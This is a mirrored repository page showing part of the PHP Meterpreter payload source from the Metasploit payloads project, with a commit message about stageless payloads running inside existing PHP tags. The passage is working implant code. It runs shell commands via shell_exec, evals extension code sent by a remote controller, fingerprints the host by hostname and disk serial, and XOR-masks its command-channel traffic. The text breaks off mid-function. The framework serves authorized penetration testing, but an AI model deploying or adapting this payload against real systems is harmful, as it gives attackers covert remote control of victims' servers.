mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-02 20:36:40 +01:00
b7d6038b63
This commit fixes cases where stageless meterpreter payloads may not run if they are loaded within a PHP context that's already inside the opening and closing <?php ... ?> tags. While this is rare, it's possible that this may happen. This approach matches that which we use for staged payloads.
1312 lines
43 KiB
PHP
Executable File
1312 lines
43 KiB
PHP
Executable File
/*<?php /**/
|
|
|
|
# Everything that needs to be global has to be made so explicitly so we can run
|
|
# inside a call to create_user_func($user_input);
|
|
|
|
# global list of channels
|
|
if (!isset($GLOBALS['channels'])) {
|
|
$GLOBALS['channels'] = array();
|
|
}
|
|
|
|
# global mapping of channels to channelized processes. This is how we know
|
|
# if we need to kill a process when it's channel has been closed.
|
|
if (!isset($GLOBALS['channel_process_map'])) {
|
|
$GLOBALS['channel_process_map'] = array();
|
|
}
|
|
|
|
# global resource map. This is how we know whether to use socket or stream
|
|
# functions on a channel.
|
|
if (!isset($GLOBALS['resource_type_map'])) {
|
|
$GLOBALS['resource_type_map'] = array();
|
|
}
|
|
|
|
# global map of sockets to the associated peer host.
|
|
if (!isset($GLOBALS['udp_host_map'])) {
|
|
$GLOBALS['udp_host_map'] = array();
|
|
}
|
|
|
|
# global list of resources we need to watch in the main select loop
|
|
if (!isset($GLOBALS['readers'])) {
|
|
$GLOBALS['readers'] = array();
|
|
}
|
|
|
|
# global list of extension commands
|
|
if (!isset($GLOBALS['commands'])) {
|
|
$GLOBALS['commands'] = array("core_loadlib", "core_machine_id", "core_set_uuid");
|
|
}
|
|
|
|
function register_command($c) {
|
|
global $commands;
|
|
if (! in_array($c, $commands)) {
|
|
array_push($commands, $c);
|
|
}
|
|
}
|
|
|
|
function my_print($str) {
|
|
#error_log($str);
|
|
}
|
|
|
|
my_print("Evaling main meterpreter stage");
|
|
|
|
# Be very careful not to put a # anywhere that isn't a comment (e.g. inside a
|
|
# string) as the comment remover will completely break this payload
|
|
|
|
function dump_array($arr, $name=null) {
|
|
if (is_null($name)) {
|
|
$name = "Array";
|
|
}
|
|
my_print(sprintf("$name (%s)", count($arr)));
|
|
foreach ($arr as $key => $val) {
|
|
if (is_array($val)) {
|
|
# recurse
|
|
dump_array($val, "{$name}[{$key}]");
|
|
} else {
|
|
my_print(sprintf(" $key ($val)"));
|
|
}
|
|
}
|
|
}
|
|
function dump_readers() {
|
|
global $readers;
|
|
dump_array($readers, 'Readers');
|
|
}
|
|
function dump_resource_map() {
|
|
global $resource_type_map;
|
|
dump_array($resource_type_map, 'Resource map');
|
|
}
|
|
function dump_channels($extra="") {
|
|
global $channels;
|
|
dump_array($channels, 'Channels '.$extra);
|
|
}
|
|
|
|
|
|
# Doesn't exist before php 4.3
|
|
if (!function_exists("file_get_contents")) {
|
|
function file_get_contents($file) {
|
|
$f = @fopen($file,"rb");
|
|
$contents = false;
|
|
if ($f) {
|
|
do { $contents .= fgets($f); } while (!feof($f));
|
|
}
|
|
fclose($f);
|
|
return $contents;
|
|
}
|
|
}
|
|
|
|
# Renamed in php 4.3
|
|
if (!function_exists('socket_set_option')) {
|
|
function socket_set_option($sock, $type, $opt, $value) {
|
|
socket_setopt($sock, $type, $opt, $value);
|
|
}
|
|
}
|
|
|
|
#
|
|
# Payload definitions
|
|
#
|
|
define("PAYLOAD_UUID", "");
|
|
|
|
#
|
|
# Constants
|
|
#
|
|
define("PACKET_TYPE_REQUEST", 0);
|
|
define("PACKET_TYPE_RESPONSE", 1);
|
|
define("PACKET_TYPE_PLAIN_REQUEST", 10);
|
|
define("PACKET_TYPE_PLAIN_RESPONSE", 11);
|
|
|
|
define("ERROR_SUCCESS", 0);
|
|
define("ERROR_FAILURE", 1);
|
|
|
|
define("CHANNEL_CLASS_BUFFERED", 0);
|
|
define("CHANNEL_CLASS_STREAM", 1);
|
|
define("CHANNEL_CLASS_DATAGRAM", 2);
|
|
define("CHANNEL_CLASS_POOL", 3);
|
|
|
|
#
|
|
# TLV Meta Types
|
|
#
|
|
define("TLV_META_TYPE_NONE", ( 0 ));
|
|
define("TLV_META_TYPE_STRING", (1 << 16));
|
|
define("TLV_META_TYPE_UINT", (1 << 17));
|
|
define("TLV_META_TYPE_RAW", (1 << 18));
|
|
define("TLV_META_TYPE_BOOL", (1 << 19));
|
|
define("TLV_META_TYPE_QWORD", (1 << 20));
|
|
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
|
|
define("TLV_META_TYPE_GROUP", (1 << 30));
|
|
define("TLV_META_TYPE_COMPLEX", (1 << 31));
|
|
# not defined in original
|
|
define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16));
|
|
|
|
#
|
|
# TLV base starting points
|
|
#
|
|
define("TLV_RESERVED", 0);
|
|
define("TLV_EXTENSIONS", 20000);
|
|
define("TLV_USER", 40000);
|
|
define("TLV_TEMP", 60000);
|
|
|
|
#
|
|
# TLV Specific Types
|
|
#
|
|
define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0);
|
|
define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1);
|
|
define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2);
|
|
define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3);
|
|
define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4);
|
|
|
|
define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10);
|
|
define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11);
|
|
define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12);
|
|
|
|
define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25);
|
|
define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26);
|
|
define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27);
|
|
|
|
define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50);
|
|
define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51);
|
|
define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52);
|
|
define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53);
|
|
define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54);
|
|
|
|
define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70);
|
|
define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71);
|
|
define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72);
|
|
|
|
define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300);
|
|
define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301);
|
|
|
|
define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400);
|
|
define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401);
|
|
define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402);
|
|
define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403);
|
|
|
|
define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460);
|
|
define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461);
|
|
|
|
define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500);
|
|
define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501);
|
|
|
|
function my_cmd($cmd) {
|
|
return shell_exec($cmd);
|
|
}
|
|
|
|
function is_windows() {
|
|
return (strtoupper(substr(PHP_OS,0,3)) == "WIN");
|
|
}
|
|
|
|
|
|
|
|
##
|
|
# Worker functions
|
|
##
|
|
|
|
function core_channel_open($req, &$pkt) {
|
|
$type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE);
|
|
|
|
my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do");
|
|
|
|
# Doing it this way allows extensions to create new channel types without
|
|
# needing to modify the core code.
|
|
$handler = "channel_create_". $type_tlv['value'];
|
|
if ($type_tlv['value'] && is_callable($handler)) {
|
|
my_print("Calling {$handler}");
|
|
$ret = $handler($req, $pkt);
|
|
} else {
|
|
my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =(");
|
|
$ret = ERROR_FAILURE;
|
|
}
|
|
|
|
return $ret;
|
|
}
|
|
|
|
# Works for streams
|
|
function core_channel_eof($req, &$pkt) {
|
|
my_print("doing channel eof");
|
|
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
|
$c = get_channel_by_id($chan_tlv['value']);
|
|
|
|
if ($c) {
|
|
if (eof($c[1])) {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1));
|
|
} else {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0));
|
|
}
|
|
return ERROR_SUCCESS;
|
|
} else {
|
|
return ERROR_FAILURE;
|
|
}
|
|
}
|
|
|
|
# Works
|
|
function core_channel_read($req, &$pkt) {
|
|
my_print("doing channel read");
|
|
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
|
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
|
|
$id = $chan_tlv['value'];
|
|
$len = $len_tlv['value'];
|
|
$data = channel_read($id, $len);
|
|
if ($data === false) {
|
|
$res = ERROR_FAILURE;
|
|
} else {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
|
|
$res = ERROR_SUCCESS;
|
|
}
|
|
return $res;
|
|
}
|
|
|
|
# Works
|
|
function core_channel_write($req, &$pkt) {
|
|
#my_print("doing channel write");
|
|
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
|
$data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
|
|
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
|
|
$id = $chan_tlv['value'];
|
|
$data = $data_tlv['value'];
|
|
$len = $len_tlv['value'];
|
|
|
|
$wrote = channel_write($id, $data, $len);
|
|
if ($wrote === false) {
|
|
return ERROR_FAILURE;
|
|
} else {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote));
|
|
return ERROR_SUCCESS;
|
|
}
|
|
}
|
|
|
|
#
|
|
# This is called when the client wants to close a channel explicitly. Not to be confused with
|
|
#
|
|
function core_channel_close($req, &$pkt) {
|
|
global $channel_process_map;
|
|
# XXX remove the closed channel from $readers
|
|
my_print("doing channel close");
|
|
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
|
$id = $chan_tlv['value'];
|
|
|
|
$c = get_channel_by_id($id);
|
|
if ($c) {
|
|
# We found a channel, close its stdin/stdout/stderr
|
|
channel_close_handles($id);
|
|
|
|
# This is an explicit close from the client, always remove it from the
|
|
# list, even if it has data.
|
|
channel_remove($id);
|
|
|
|
# if the channel we're closing is associated with a process, kill the
|
|
# process
|
|
# Make sure the stdapi function for closing a process handle is
|
|
# available before trying to clean up
|
|
if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
|
|
close_process($channel_process_map[$id]);
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
dump_channels("after close");
|
|
|
|
return ERROR_FAILURE;
|
|
}
|
|
|
|
#
|
|
# Destroy a channel and all associated handles.
|
|
#
|
|
function channel_close_handles($cid) {
|
|
global $channels;
|
|
|
|
# Sanity check - make sure a channel with the given cid exists
|
|
if (!array_key_exists($cid, $channels)) {
|
|
return;
|
|
}
|
|
$c = $channels[$cid];
|
|
for($i = 0; $i < 3; $i++) {
|
|
#my_print("closing channel fd $i, {$c[$i]}");
|
|
if (array_key_exists($i, $c) && is_resource($c[$i])) {
|
|
close($c[$i]);
|
|
# Make sure the main loop doesn't select on this resource after we
|
|
# close it.
|
|
remove_reader($c[$i]);
|
|
}
|
|
}
|
|
|
|
# axe it from the list only if it doesn't have any leftover data
|
|
if (strlen($c['data']) == 0) {
|
|
channel_remove($cid);
|
|
}
|
|
}
|
|
|
|
function channel_remove($cid) {
|
|
global $channels;
|
|
unset($channels[$cid]);
|
|
}
|
|
|
|
function core_channel_interact($req, &$pkt) {
|
|
global $readers;
|
|
|
|
my_print("doing channel interact");
|
|
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
|
$id = $chan_tlv['value'];
|
|
|
|
# True means start interacting, False means stop
|
|
$toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL);
|
|
|
|
$c = get_channel_by_id($id);
|
|
if ($c) {
|
|
if ($toggle_tlv['value']) {
|
|
# Start interacting. If we're already interacting with this
|
|
# channel, it's an error and we should return failure.
|
|
if (!in_array($c[1], $readers)) {
|
|
# stdout
|
|
add_reader($c[1]);
|
|
# Make sure we don't add the same resource twice in the case
|
|
# that stdin == stderr
|
|
if (array_key_exists(2, $c) && $c[1] != $c[2]) {
|
|
# stderr
|
|
add_reader($c[2]);
|
|
}
|
|
$ret = ERROR_SUCCESS;
|
|
} else {
|
|
# Already interacting
|
|
$ret = ERROR_FAILURE;
|
|
}
|
|
} else {
|
|
# Stop interacting. If we're not interacting yet with this
|
|
# channel, it's an error and we should return failure.
|
|
if (in_array($c[1], $readers)) {
|
|
remove_reader($c[1]); # stdout
|
|
remove_reader($c[2]); # stderr
|
|
$ret = ERROR_SUCCESS;
|
|
} else {
|
|
# Not interacting. This is technically failure, but it seems
|
|
# the client sends us two of these requests in quick succession
|
|
# causing the second one to always return failure. When that
|
|
# happens we fail to clean up properly, so always return
|
|
# success here.
|
|
$ret = ERROR_SUCCESS;
|
|
}
|
|
}
|
|
} else {
|
|
# Not a valid channel
|
|
my_print("Trying to interact with an invalid channel");
|
|
$ret = ERROR_FAILURE;
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function interacting($cid) {
|
|
global $readers;
|
|
$c = get_channel_by_id($cid);
|
|
if (in_array($c[1], $readers)) {
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
|
|
function core_shutdown($req, &$pkt) {
|
|
my_print("doing core shutdown");
|
|
die();
|
|
}
|
|
|
|
# zlib support is not compiled in by default, so this makes sure the library
|
|
# isn't compressed before eval'ing it
|
|
# TODO: check for zlib support and decompress if possible
|
|
function core_loadlib($req, &$pkt) {
|
|
global $commands;
|
|
my_print("doing core_loadlib");
|
|
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
|
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
|
return ERROR_FAILURE;
|
|
}
|
|
$tmp = $commands;
|
|
eval($data_tlv['value']);
|
|
$new = array_diff($commands, $tmp);
|
|
foreach ($new as $meth) {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
|
}
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
function core_enumextcmd($req, &$pkt) {
|
|
my_print("doing core_enumextcmd");
|
|
|
|
global $commands;
|
|
|
|
$extension_name_tlv = packet_get_tlv($req, TLV_TYPE_STRING);;
|
|
$expected_ext_name = $extension_name_tlv['value'];
|
|
|
|
foreach ($commands as $ext_cmd) {
|
|
list($ext_name, $cmd) = explode("_", $ext_cmd, 2);
|
|
if ($ext_name == $expected_ext_name) {
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, $cmd));
|
|
}
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
function core_set_uuid($req, &$pkt) {
|
|
my_print("doing core_set_uuid");
|
|
$new_uuid = packet_get_tlv($req, TLV_TYPE_UUID);
|
|
if ($new_uuid != null) {
|
|
$GLOBALS['UUID'] = $new_uuid['value'];
|
|
my_print("New UUID is {$GLOBALS['UUID']}");
|
|
}
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
function get_hdd_label() {
|
|
foreach (scandir('/dev/disk/by-id/') as $file) {
|
|
foreach (array("ata-", "mb-") as $prefix) {
|
|
if (strpos($file, $prefix) === 0) {
|
|
return substr($file, strlen($prefix));
|
|
}
|
|
}
|
|
}
|
|
return "";
|
|
}
|
|
|
|
function core_machine_id($req, &$pkt) {
|
|
my_print("doing core_machine_id");
|
|
if (is_callable('gethostname')) {
|
|
# introduced in 5.3
|
|
$machine_id = gethostname();
|
|
} else {
|
|
$machine_id = php_uname('n');
|
|
}
|
|
$serial = "";
|
|
|
|
if (is_windows()) {
|
|
# It's dirty, but there's not really a nicer way of doing this on windows. Make sure
|
|
# it's lowercase as this is what the other meterpreters use.
|
|
$output = strtolower(shell_exec("vol %SYSTEMDRIVE%"));
|
|
$serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output);
|
|
} else {
|
|
$serial = get_hdd_label();
|
|
}
|
|
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id));
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
|
|
##
|
|
# Channel Helper Functions
|
|
##
|
|
$channels = array();
|
|
|
|
function register_channel($in, $out=null, $err=null) {
|
|
global $channels;
|
|
if ($out == null) { $out = $in; }
|
|
if ($err == null) { $err = $out; }
|
|
$channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => '');
|
|
|
|
# Grab the last index and use it as the new ID.
|
|
$id = end(array_keys($channels));
|
|
my_print("Created new channel $in, with id $id");
|
|
return $id;
|
|
}
|
|
|
|
#
|
|
# Channels look like this:
|
|
#
|
|
# Array
|
|
# (
|
|
# [0] => Array
|
|
# (
|
|
# [0] => Resource id #12
|
|
# [1] => Resource id #13
|
|
# [2] => Resource id #14
|
|
# [type] => 'stream'
|
|
# [data] => '...'
|
|
# )
|
|
# )
|
|
#
|
|
function get_channel_id_from_resource($resource) {
|
|
global $channels;
|
|
if (empty($channels)) {
|
|
return false;
|
|
}
|
|
foreach ($channels as $i => $chan_ary) {
|
|
if (in_array($resource, $chan_ary)) {
|
|
my_print("Found channel id $i");
|
|
return $i;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function &get_channel_by_id($chan_id) {
|
|
global $channels;
|
|
my_print("Looking up channel id $chan_id");
|
|
#dump_channels("in get_channel_by_id");
|
|
if (array_key_exists($chan_id, $channels)) {
|
|
my_print("Found one");
|
|
return $channels[$chan_id];
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
# Write data to the channel's stdin
|
|
function channel_write($chan_id, $data) {
|
|
$c = get_channel_by_id($chan_id);
|
|
if ($c && is_resource($c[0])) {
|
|
my_print("---Writing '$data' to channel $chan_id");
|
|
return write($c[0], $data);
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
# Read from the channel's stdout
|
|
function channel_read($chan_id, $len) {
|
|
$c = &get_channel_by_id($chan_id);
|
|
if ($c) {
|
|
# First get any pending unread data from a previous read
|
|
$ret = substr($c['data'], 0, $len);
|
|
$c['data'] = substr($c['data'], $len);
|
|
if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); }
|
|
|
|
# Next grab stderr if we have it and it's not the same file descriptor
|
|
# as stdout.
|
|
if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) {
|
|
# Read as much as possible into the channel's data buffer
|
|
$read = read($c[2]);
|
|
$c['data'] .= $read;
|
|
|
|
# Now slice out however much the client asked for. If there's any
|
|
# left over, they'll get it next time. If it doesn't add up to
|
|
# what they requested, oh well, they'll just have to call read
|
|
# again. Looping until we get the requested number of bytes is
|
|
# inconsistent with win32 meterpreter and causes the whole php
|
|
# process to block waiting on input.
|
|
$bytes_needed = $len - strlen($ret);
|
|
$ret .= substr($c['data'], 0, $bytes_needed);
|
|
$c['data'] = substr($c['data'], $bytes_needed);
|
|
}
|
|
|
|
# Then if there's still room, grab stdout
|
|
if (strlen($ret) < $len and is_resource($c[1])) {
|
|
# Same as above, but for stdout. This will overwrite a false
|
|
# return value from reading stderr but the two should generally
|
|
# EOF at the same time, so it should be fine.
|
|
$read = read($c[1]);
|
|
$c['data'] .= $read;
|
|
$bytes_needed = $len - strlen($ret);
|
|
$ret .= substr($c['data'], 0, $bytes_needed);
|
|
$c['data'] = substr($c['data'], $bytes_needed);
|
|
}
|
|
|
|
# In the event of one or the other of the above read()s returning
|
|
# false, make sure we have sent any pending unread data before saying
|
|
# EOF by returning false. Note that if they didn't return false, it is
|
|
# perfectly legitimate to return an empty string which just means
|
|
# there's no data right now but we haven't hit EOF yet.
|
|
if (false === $read and empty($ret)) {
|
|
if (interacting($chan_id)) {
|
|
handle_dead_resource_channel($c[1]);
|
|
}
|
|
return false;
|
|
}
|
|
return $ret;
|
|
} else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
function rand_xor_byte() {
|
|
return chr(mt_rand(1, 255));
|
|
}
|
|
|
|
function rand_xor_key() {
|
|
return rand_xor_byte() . rand_xor_byte() . rand_xor_byte() . rand_xor_byte();
|
|
}
|
|
|
|
function xor_bytes($key, $data) {
|
|
$result = '';
|
|
|
|
for ($i = 0; $i < strlen($data); ++$i) {
|
|
$result .= $data{$i} ^ $key{$i % 4};
|
|
}
|
|
|
|
return $result;
|
|
}
|
|
|
|
|
|
##
|
|
# TLV Helper Functions
|
|
##
|
|
|
|
function generate_req_id() {
|
|
$characters = 'abcdefghijklmnopqrstuvwxyz';
|
|
$rid = '';
|
|
|
|
for ($p = 0; $p < 32; $p++) {
|
|
$rid .= $characters[rand(0, strlen($characters)-1)];
|
|
}
|
|
|
|
return $rid;
|
|
}
|
|
|
|
function write_tlv_to_socket($resource, $raw) {
|
|
$xor = rand_xor_key();
|
|
write($resource, strrev($xor) . xor_bytes($xor, $raw));
|
|
}
|
|
|
|
function handle_dead_resource_channel($resource) {
|
|
global $msgsock;
|
|
|
|
if (!is_resource($resource)) {
|
|
return;
|
|
}
|
|
|
|
$cid = get_channel_id_from_resource($resource);
|
|
if ($cid === false) {
|
|
my_print("Resource has no channel: {$resource}");
|
|
|
|
# Make sure the provided resource gets closed regardless of it's status
|
|
# as a channel
|
|
remove_reader($resource);
|
|
close($resource);
|
|
} else {
|
|
my_print("Handling dead resource: {$resource}, for channel: {$cid}");
|
|
|
|
# Make sure we close other handles associated with this channel as well
|
|
channel_close_handles($cid);
|
|
|
|
# Notify the client that this channel is dead
|
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close'));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
write_tlv_to_socket($msgsock, $pkt);
|
|
}
|
|
}
|
|
|
|
function handle_resource_read_channel($resource, $data) {
|
|
global $udp_host_map;
|
|
$cid = get_channel_id_from_resource($resource);
|
|
my_print("Handling data from $resource");
|
|
|
|
# Build a new Packet
|
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write'));
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
list($h,$p) = $udp_host_map[(int)$resource];
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
|
|
}
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_response($xor, $req) {
|
|
$req = xor_bytes($xor, $req);
|
|
$pkt = pack("N", PACKET_TYPE_RESPONSE);
|
|
|
|
$method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD);
|
|
my_print("method is {$method_tlv['value']}");
|
|
packet_add_tlv($pkt, $method_tlv);
|
|
|
|
$reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID);
|
|
packet_add_tlv($pkt, $reqid_tlv);
|
|
|
|
if (is_callable($method_tlv['value'])) {
|
|
$result = $method_tlv['value']($req, $pkt);
|
|
} else {
|
|
my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure");
|
|
$result = ERROR_FAILURE;
|
|
}
|
|
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_tlv($type, $val) {
|
|
return array( 'type' => $type, 'value' => $val );
|
|
}
|
|
|
|
function tlv_pack($tlv) {
|
|
$ret = "";
|
|
#my_print("Creating a tlv of type: {$tlv['type']}");
|
|
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
|
|
$lo = $tlv['value'] & 0xFFFFFFFF;
|
|
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
# PHP's pack appears to be busted for chars,
|
|
$ret = pack("NN", 8 + 1, $tlv['type']);
|
|
$ret .= $tlv['value'] ? "\x01" : "\x00";
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
|
|
# treat groups the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
|
|
# treat complex the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
else {
|
|
my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf");
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function tlv_unpack($raw_tlv) {
|
|
$tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8));
|
|
$type = $tlv['type'];
|
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
|
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
|
|
# NULL, so catch that here
|
|
$tlv['value'] = str_replace("\0", "", $tlv['value']);
|
|
}
|
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
|
|
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
|
|
}
|
|
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$tlv = unpack("Nlen/Ntype", $raw_tlv);
|
|
$tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
|
|
}
|
|
else {
|
|
my_print("Wtf type is this? $type");
|
|
$tlv = null;
|
|
}
|
|
return $tlv;
|
|
}
|
|
|
|
function packet_add_tlv(&$pkt, $tlv) {
|
|
$pkt .= tlv_pack($tlv);
|
|
}
|
|
|
|
function packet_get_tlv($pkt, $type) {
|
|
#my_print("Looking for a tlv of type $type");
|
|
# Start at offset 8 to skip past the packet header
|
|
$offset = 8;
|
|
while ($offset < strlen($pkt)) {
|
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
|
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
